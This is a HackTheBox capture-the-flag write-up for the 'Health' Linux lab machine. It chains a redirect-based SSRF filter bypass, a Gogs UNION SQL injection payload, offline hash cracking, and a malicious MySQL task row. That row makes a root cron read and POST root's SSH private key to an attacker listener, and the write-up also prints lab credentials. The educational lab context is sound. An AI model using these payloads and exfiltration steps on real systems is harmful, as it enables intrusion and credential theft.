HTB: Health Writeup

Health - HackTheBox Writeup

Machine Information

AttributeDetails
NameHealth
OSLinux
DifficultyMedium
PointsN/A
Release DateN/A
IP Address10.129.43.214
Authord3vn0mi

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

Health exposes a Laravel-based “HTTP Monitoring Tool” on port 80 that lets a user submit a URL for the app to health-check via a webhook. The monitoredUrl field naively filters localhost/127.0.0.1 strings but does not account for HTTP redirects, so a self-hosted Flask redirector on the jump box bypasses the filter entirely and reaches a Gogs instance bound to localhost:3000. That Gogs build (0.5.5.1010 Beta) is vulnerable to SQL injection in its user-search API, letting the PBKDF2 password hash of user susanne be dumped through the same SSRF channel and cracked offline. Root privesc abuses the exact same code path server-side: the Laravel app’s HealthChecker class is also driven by a tasks table in MySQL, processed on a cron running as root, and file_get_contents() on that path has no scheme filtering at all — so an injected task pointed at file:///root/.ssh/id_rsa gets its contents POSTed straight to an attacker-controlled listener.

TL;DR: SSRF via redirect bypass → reach internal Gogs 0.5.5.1010 Beta → SQLi dumps susanne’s PBKDF2 hash → crack → SSH → read Laravel .env DB creds → inject malicious MySQL tasks row → root cron file://-reads /root/.ssh/id_rsa → exfil via SSRF webhook → root.


Reconnaissance

Port Scanning

Terminal window
nmap -sC -sV -T4 -p- 10.129.43.214

Results:

PortServiceNotes
22SSHOpenSSH
80Apache/HTTPLaravel “HTTP Monitoring Tool”, vhost health.htb
3000filteredFirewalled from outside — later confirmed to be Gogs bound to localhost only

The filtered state on 3000 (rather than closed) is the tell that something is listening there but only reachable locally — that’s the target for the SSRF.

Terminal window
# resolve the vhost seen in the app
echo "10.129.43.214 health.htb" | sudo tee -a /etc/hosts

Service Enumeration

The site at health.htb is a small Laravel app whose whole purpose is: give it a URL, it file_get_contents()s that URL server-side and reports whether it’s “up,” optionally POSTing the fetched body to a second, attacker-supplied “payload”/webhook URL. Two input fields drive this: monitoredUrl (what to fetch) and webhookUrl (where to send the result), plus an onlyError flag that controls whether the response body is included in that outbound POST.

Vulnerability Assessment

  • SSRF on the /webhook monitoring feature — monitoredUrl is passed to file_get_contents() server-side. Direct localhost/127.0.0.1 strings are filtered, but the filter is string-based, not resolution-based.
  • Filtered port 3000 strongly suggested an internal-only service worth reaching via that SSRF.

Initial Foothold

Exploitation Path

Step 1 — confirm the naive filter and beat it with a redirect.

Submitting monitoredUrl=http://localhost:3000 (or 127.0.0.1) is rejected outright by the app’s blocklist. file_get_contents() transparently follows HTTP redirects, though, and the filter never re-checks the redirect target. Standing up a tiny Flask redirector on the jump box turns any URL into a 302 that the Laravel app will happily follow:

# redirector.py — runs on the jump box, outside Health's SSRF filter
from flask import Flask, redirect, request
app = Flask(__name__)
@app.route("/")
def go():
# ?url= is never inspected by Health's blocklist — it never sees "localhost" directly
target = request.args.get("url")
return redirect(target, code=302)
Terminal window
# jump box (10.10.15.180)
sudo python3 -m flask --app redirector.py run --host=0.0.0.0 --port 8000

Step 2 — chain the redirect through the app’s own exfil channel.

Rather than catching a raw inbound connection, the cleaner exfil path is the app’s own webhookUrl feature: setting onlyError=0 makes the app include the full fetched response body in a POST it fires to webhookUrl. So:

  • monitoredUrl = http://10.10.15.180:8000/?url=http://localhost:3000 — bounces through the redirector, past the string filter, straight to the internal Gogs port.
  • webhookUrl = http://10.10.15.180:9001 — a capture listener on the jump box.
  • onlyError = 0 — forces the fetched body into the outbound POST.

The capture server receives the full Gogs landing page, confirming Gogs 0.5.5.1010 Beta running on localhost:3000.

Step 3 — Gogs 0.5.5.1010 Beta SQL injection.

This Gogs build has a publicly documented SQL injection in its user-search API (/api/v1/users/search?q=) — no CVE was ever assigned to it, but it’s well-known from third-party write-ups analyzing this exact release. The endpoint strips space characters (0x20), which the standard bypass defeats by substituting SQL inline comments (/**/) for every space in the payload — a filter defeat commonly automated with an sqlmap tamper script, but usable by hand once the substitution is known.

Because the app’s q parameter maps into a raw SQL string, a UNION-based injection can pull arbitrary columns out of the underlying SQLite/MySQL-backed user table. Enumeration confirmed the query needed a 26-column UNION SELECT to align with Gogs’ user schema on this build, with one column overloaded to concatenate the interesting fields:

' /**/UNION/**/ALL/**/SELECT/**/1,2,...,
(name||':'||passwd||':'||salt||':'||rands)/**/AS/**/c14,
...,26/**/FROM/**/user--/**/

Delivered the same way as the fingerprinting request — through the redirector, with webhookUrl pointed at the capture listener and onlyError=0 — this returns susanne’s row: username, PBKDF2 password hash, salt, and rands.

Step 4 — crack the Gogs PBKDF2 hash.

Gogs 0.5.5 hashes passwords with PBKDF2-HMAC-SHA256 (10,000 iterations), which hashcat mode 10900 expects as base64-encoded salt/hash:

Terminal window
# passwd/salt values below are the raw hex/text pulled from the SQLi dump
b64_passwd=$(echo -n "<passwd_hex>" | xxd -r -p | base64)
b64_salt=$(echo -n "<salt>" | base64)
hashcat -m 10900 "sha256:10000:${b64_salt}:${b64_passwd}" /usr/share/wordlists/rockyou.txt

Result: susanne:february15.

Step 5 — credential reuse over SSH.

Terminal window
ssh susanne@health.htb
# password: february15
cat /home/susanne/user.txt

user.txt captured.


Privilege Escalation

Poking around the Laravel install as susanne turns up the same monitoring logic that was just exploited over the network, this time driving a scheduled job:

Terminal window
cat /var/www/html/app/Http/Controllers/HealthChecker.php

HealthChecker::check() takes $webhookUrl, $monitoredUrl, $onlyError and calls @file_get_contents($monitoredUrl, false) — no scheme restriction whatsoever. app/Console/Kernel.php schedules a command that pulls its work items from a database tasks table instead of a web form, meaning any row inserted into tasks gets run through this exact same fetch-and-POST logic on the next cron tick.

Terminal window
cat /var/www/html/.env
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=laravel
DB_USERNAME=laravel
DB_PASSWORD=MYsql_strongestpass@2014+

Enumeration of the crontab confirmed the Laravel scheduler runs as root, executing every minute and processing pending rows from tasks — meaning any task inserted here gets file_get_contents()’d by root, and unlike the network-facing monitoredUrl filter, the file:// scheme is never blocked at all.

Terminal window
mysql -u laravel -p'MYsql_strongestpass@2014+' laravel
-- schema check
DESC tasks;
-- malicious task: read root's private key, POST the body out via webhookUrl
INSERT INTO tasks (id, monitoredUrl, onlyError, webhookUrl, frequency)
VALUES (
'a1b2c3d4-0000-0000-0000-000000000001',
'file:///root/.ssh/id_rsa',
0,
'http://10.10.15.180:9001',
'* * * * *'
);

Within a minute, root’s cron picks up the row, file_get_contents("file:///root/.ssh/id_rsa") reads the key locally (no network filter applies to file://), and with onlyError=0 the full key body is POSTed to the listener on the jump box.

Terminal window
# reformat the captured key: JSON-escaped \n and \/ need to become real newlines / slashes
sed -i 's/\\n/\n/g; s/\\\//\//g' root_key
chmod 600 root_key
ssh -i root_key root@health.htb
cat /root/root.txt

root.txt captured.

Operational note: /tmp on the jump box was completely full during this run — any access under it would hang, and zsh heredocs silently produced 0-byte files instead of erroring. Working entirely out of /dev/shm (staging scripts as base64 blobs and decoding them there) sidestepped it.


Attack Chain Summary

Nmap (22/80/3000-filtered)
→ Laravel "HTTP Monitoring Tool" on :80, monitoredUrl filters "localhost" by string only
→ Flask redirector (jump box) turns http://.../?url=http://localhost:3000 into a 302 the app follows
→ onlyError=0 + webhookUrl exfil confirms internal Gogs 0.5.5.1010 Beta on :3000
→ Gogs /api/v1/users/search?q= SQLi (space→/**/ filter bypass, 26-col UNION)
→ dump susanne's PBKDF2 (passwd/salt/rands)
→ hashcat -m 10900 → susanne:february15
→ SSH reuse → user.txt
→ read app source: HealthChecker.php + .env → root cron drives `tasks` table, file:// unfiltered
→ INSERT malicious task → file:///root/.ssh/id_rsa exfil via same webhook mechanism
→ reformat key → ssh -i → root.txt

Tools Used

ToolPurpose
nmapPort scanning
Flask (custom redirector)SSRF filter bypass via 302 redirect, run from the jump box
Custom Python HTTP capture listenerReceived SSRF exfil POSTs (webhookUrl target)
Manual SQLi (/**/ space bypass, UNION)Exploited Gogs 0.5.5.1010 Beta /api/v1/users/search
hashcat (-m 10900)Cracked Gogs PBKDF2-HMAC-SHA256 password hash
mysql clientRead Laravel DB, inserted malicious tasks row
sshCredential-reuse login, key-based root login
sedReformatted exfiltrated id_rsa (escaped \n/\/)

Key Learnings

Techniques Practiced

  • SSRF filter bypass using an HTTP 302 redirect to reach a service the naive string-blocklist thought it had blocked
  • Turning an app’s own “webhook notify” feature into an exfiltration channel (POST body of an internal fetch to attacker infra)
  • Fingerprinting and exploiting a known SQLi in a specific vulnerable-version internal service (Gogs 0.5.5.1010 Beta) reached only via SSRF
  • Cracking a Gogs PBKDF2-HMAC-SHA256 hash by reconstructing hashcat’s expected sha256:iterations:b64salt:b64hash format
  • Privilege escalation by finding the server-side twin of a client-facing vulnerable code path (same file_get_contents() sink, this time root-cron-driven and completely unfiltered) and feeding it via direct DB access

Lessons Learned

  1. A blocklist that filters literal strings (localhost, 127.0.0.1) is not a real SSRF defense once the fetching client follows redirects — the check has to happen after resolution, not before.
  2. The same vulnerable code path can have two different trust boundaries: the public-facing monitoredUrl had a (weak) filter, but the DB-driven tasks version of the identical sink had none at all — always check whether a “fixed” input path has an equivalent unfixed one elsewhere in the app.
  3. When infrastructure resources (disk, /tmp) are constrained, quietly-failing tooling (zsh heredocs writing empty files instead of erroring) can look like a false negative — verify writes landed before trusting downstream steps.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • “Health” official HackTheBox writeup — Document No. D22.100.199, prepared by amra, machine authored by irogir (used here for the Gogs PBKDF2 hash-format background, the file_get_contents() SSRF mechanics, and the root-cron/tasks-table privilege escalation concept).